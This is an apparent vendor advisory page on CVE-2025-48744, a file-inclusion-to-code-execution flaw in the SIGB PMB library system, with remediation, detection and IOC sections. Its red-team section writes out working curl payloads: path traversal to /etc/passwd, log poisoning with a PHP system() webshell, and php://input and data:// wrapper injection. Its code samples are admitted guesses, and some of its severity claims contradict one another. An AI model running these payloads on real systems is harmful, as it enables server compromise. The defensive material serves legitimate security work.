CVE-2025-48744
Executive Summary
CVE-2025-48744 is a critical vulnerability in SIGB PMB (a library management system) prior to version 8.0.1.2. The vulnerability allows an unauthenticated attacker to achieve Local File Inclusion (LFI) and subsequently Remote Code Execution (RCE). This is a severe threat as it can lead to full compromise of the web server and the underlying network. The vulnerability is currently unpatched for versions below 8.0.1.2, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently, but the technical impact is high.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) - Limited information disclosure.
- Integrity (I): Low (L) - Limited data modification.
- Availability (A): Low (L) - Limited service disruption.
Threat Level: High. While the CVSS score is medium, the ability to chain LFI to RCE significantly elevates the risk. An unauthenticated attacker can gain full control of the application server.
Deep Dive & Mechanics
The vulnerability resides in the way SIGB PMB handles file inclusion. The application likely uses user-supplied input (e.g., via a page or file parameter) to include PHP files without proper sanitization. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.
LFI to RCE Chain:
- Local File Inclusion (LFI): The attacker can read sensitive files like
/etc/passwd, configuration files, or application source code by providing a path like../../../etc/passwd. - Remote Code Execution (RCE): LFI can be escalated to RCE using techniques such as:
- Log Poisoning: Injecting PHP code into server logs (e.g., Apache access log) via the
User-Agentheader, then including the log file. - PHP Wrappers: Using
php://inputto execute arbitrary POST data, ordata://to include base64-encoded PHP code. - Session File Injection: If the application stores session files in a predictable location, an attacker can inject PHP code into a session variable and include the session file.
- Log Poisoning: Injecting PHP code into server logs (e.g., Apache access log) via the
The specific vulnerable parameter and the exact LFI vector are not publicly disclosed, but the core mechanism is a classic path traversal combined with file inclusion.
Vulnerable vs. Patched Code
The patch in version 8.0.1.2 likely involves sanitizing the file inclusion parameter. A vulnerable code snippet might look like:
// VULNERABLE CODE
$page = $_GET['page'];
include($page . '.php');
The patched version would use a whitelist or strict validation:
// PATCHED CODE
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
// Handle error
}
Or, more robustly, use realpath() to resolve the path and ensure it's within an allowed directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable instance of SIGB PMB (version < 8.0.1.2).
- Knowledge of the vulnerable parameter (e.g.,
page,file,include).
Step 1: Identify the LFI Parameter Use a web fuzzer (e.g., Burp Suite Intruder, ffuf) to test common parameters for LFI behavior.
Step 2: Basic LFI Test
curl "http://target.com/index.php?page=../../../etc/passwd"
If the response contains the contents of /etc/passwd, LFI is confirmed.
Step 3: Log Poisoning for RCE
- Send a request with a malicious
User-Agentheader:curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/" - Include the Apache access log (common location:
/var/log/apache2/access.log):
The output should show the result of thecurl "http://target.com/index.php?page=../../../var/log/apache2/access.log&cmd=id"idcommand.
Step 4: Using PHP Wrappers (if enabled)
# Using php://input
curl -X POST -d "<?php system('id'); ?>" "http://target.com/index.php?page=php://input"
# Using data://
curl "http://target.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id"
Blue Team (Detection & Response)
Detection:
- Monitor for path traversal patterns in HTTP requests (e.g.,
../,..\\,%2e%2e%2f). - Alert on inclusion of sensitive files (e.g.,
/etc/passwd,/etc/shadow,wp-config.php). - Detect the use of PHP wrappers (
php://,data://,expect://). - Monitor for unusual
User-Agentstrings containing PHP code.
Response:
- Isolate the affected server from the network.
- Review web server logs for signs of exploitation.
- Check for unauthorized file modifications or new user accounts.
- Apply the patch by upgrading to version 8.0.1.2.
- If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block LFI attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
../or..\\in parameters. - HTTP requests with
php://,data://, orexpect://in parameters. - HTTP requests with
User-Agentheaders containing PHP code (e.g.,<?php ... ?>). - Outbound connections from the web server to unknown IPs (potential reverse shell).
- HTTP requests containing
- File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified server log files (e.g., Apache access log containing PHP code).
- New or modified files in
/tmp/or/var/tmp/.
- Unexpected files in the web root (e.g.,
- Process IOCs:
- Unusual processes running as the web server user (e.g.,
nc,bash,python).
- Unusual processes running as the web server user (e.g.,
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate Actions:
- Upgrade: Upgrade SIGB PMB to version 8.0.1.2 or later immediately.
- WAF Rules: Deploy WAF rules to block path traversal and PHP wrapper usage.
- Input Validation: If patching is delayed, implement strict input validation on all file inclusion parameters. Use a whitelist of allowed files.
Long-Term Measures:
- Secure Coding: Implement secure coding practices, including avoiding dynamic file inclusion based on user input.
- Regular Audits: Conduct regular security audits and penetration testing.
- Monitoring: Continuously monitor web server logs for suspicious activity.
Valters IT - Securing Digital Frontiers
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.